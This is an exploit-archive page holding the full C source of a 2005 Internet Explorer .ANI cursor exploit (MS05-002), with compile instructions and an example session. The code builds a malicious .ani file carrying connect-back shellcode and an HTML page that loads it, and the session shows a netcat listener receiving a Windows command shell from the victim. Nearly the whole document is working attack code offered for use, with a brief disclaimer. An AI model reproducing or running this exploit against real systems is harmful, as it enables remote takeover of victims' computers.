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WC-ms05002-ani-expl-cb.c

WC-ms05002-ani-expl-cb.c
Posted Jan 30, 2005
Authored by WhiskyCoders | Site bennupg.ath.cx

Microsoft Internet Explorer .ANI file handling exploit. Modified version of the houseofdabus exploit. Universal version of the exploit. Tested on: Windows Server 2003, Windows XP SP0/SP1, Windows 2000 SP2/SP3/SP4.

tags | exploit
systems | windows
SHA-256 | 7d28b6b89f96a1823cf6133c4dfbbf4eeebb9afb847e5f3ffc5da17e887c96b4

WC-ms05002-ani-expl-cb.c

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/* WC-ms05002-ani-expl-cb.c: 2005-01-30: PUBLIC v.0.2 
*
* Copyright (c) 2004-2005 WhiskyCoders.
*
* (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit
* (CAN-2004-1049)
*
* WhiskyCoders - http://bennupg.ath.cx
* Greetz: nitrous, kubaner, cryogen, rowter, dex, beck, and everyone else in the vulnfact.com crew
*
* (universal -- for all affected systems)
* ---------------------------------------------------------------------
* Notes:
* This is a mod of houseofdabus (HOD-ms05002-ani-expl.c) exploit.
* http://www.k-otik.com/exploits/20050123.HOD-ms05002-ani-expl.c.php
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in the way that
* cursor, animated cursor, and icon formats are handled. An attacker
* could try to exploit the vulnerability by constructing a malicious
* cursor or icon file that could potentially allow remote code
* execution if a user visited a malicious Web site or viewed a
* malicious e-mail message. An attacker who successfully exploited
* this vulnerability could take complete control of an affected
* system.
*
* ---------------------------------------------------------------------
* Patch:
* http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows Server 2003
* - Windows XP SP1
* - Windows XP SP0
* - Windows 2000 SP4
* - Windows 2000 SP3
* - Windows 2000 SP2
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o WC-ms05002-ani-expl-cb WC-ms05002-ani-expl-cb.c
* Win32/cygwin: gcc -o WC-ms05002-ani-expl-cb WC-ms05002-ani-expl-cb.c
* Linux : gcc -o WC-ms05002-ani-expl-cb WC-ms05002-ani-expl-cb.c
*
* ---------------------------------------------------------------------
* Example:
*
**ATTACKER:
*
* d00d@whiskybox $ WC-ms05002-ani-expl-cb poc 7778 192.168.0.30
* <...>
* [*] Creating poc.ani file ... Ok
* [*] Creating poc.html file ... Ok
*
* d00d@whiskybox $ netcat -l -p 7778 -v
*
**VICTIM:
*
* C:\> iexplore C:\poc.html
*
**ATTACKER:
* d00d@whiskybox $ netcat -l -p 7778 -v
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\Documents and Settings\Administrator\Desktop>
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*
*/

#include <stdio.h>
#include <stdlib.h>


/* ANI header */
unsigned char aniheader[] =
"\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
"\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

/* jmp offset, no Jitsu */
"\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90"
"\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00"
"\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00"
"\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00"
"\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00"
"\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00"
"\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


/* connectback shellcode */
unsigned char shellcode[] =
"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
"\x77\x38\xff\x55\x20\xff\x55\x0c";

#define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+283)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290)) = (port)

unsigned char discl[] =
"This is provided as proof-of-concept code only for educational"
" purposes and testing by authorized individuals with permission"
" to do so.";

unsigned char html[] =
"<html>\n"
"(MS05-002) Microsoft Internet Explorer .ANI Files Handling
Exploit"
"<br>Copyright (c) 2004-2005 :: WhiskyCoders :: <br><a href
=\""
"http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">"
"Patch (MS05-002)</a>\n"
"<script>alert(\"%s\")</script>\n<head>\n\t<style>\n"
"\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n"
"</html>";


unsigned short
fixx(unsigned short p)
{
unsigned short r = 0;
r = (p & 0xFF00) >> 8;
r |= (p & 0x00FF) << 8;

return r;
}

void
usage(char *prog)
{
printf("Usage:\n");
printf("%s <file> <port> <ip>\n\n", prog);
exit(0);
}


int
main(int argc, char **argv)
{
FILE *fp;
unsigned short port;
unsigned long backip = 0;
unsigned char f[256+5] = "";
unsigned char anib[912] = "";


printf("\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit\n\n");
printf("\tCopyright (c) 2004-2005 :: WhiskyCoders :: \n\n\n");
printf("Tested on all affected systems:\n");
printf(" [+] Windows Server 2003\n [+] Windows XP SP1, SP0\n");
printf(" [+] Windows 2000 All SP\n\n");

printf("%s\n\n", discl);
if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {
printf("[-] Size of shellcode must be <= 686 bytes\n");
return 0;
}
if (argc < 3) usage(argv[0]);

if (strlen(argv[1]) > 256) {
printf("[-] Size of filename must be <=256 bytes\n");
return 0;
}

/* creating ani file */
strcpy(f, argv[1]);
strcat(f, ".ani");
printf("[*] Creating %s file ...", f);
fp = fopen(f, "wb");
if (fp == NULL) {
printf("\n[-] error: can\'t create file: %s\n", f);
return 0;
}
memset(anib, 0x90, 912);

/* header */
memcpy(anib, aniheader, sizeof(aniheader)-1);

/* shellcode */
port = atoi(argv[2]);
SET_CONNECTBACK_PORT(shellcode, fixx(port));

backip = inet_addr(argv[3]);
SET_CONNECTBACK_IP(shellcode, backip);

memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);

fwrite(anib, 1, 912, fp);
printf(" Ok\n");
fclose(fp);

/* creating html file */
f[0] = '\0';
strcpy(f, argv[1]);
strcat(f, ".html");
printf("[*] Creating %s file ...", f);
fp = fopen(f, "wb");
if (fp == NULL) {
printf("\n[-] error: can\'t create file: %s\n", f);
return 0;
}
sprintf(anib, html, discl, argv[1]);
fwrite(anib, 1, strlen(anib), fp);
printf(" Ok\n");
fclose(fp);

return 0;
}

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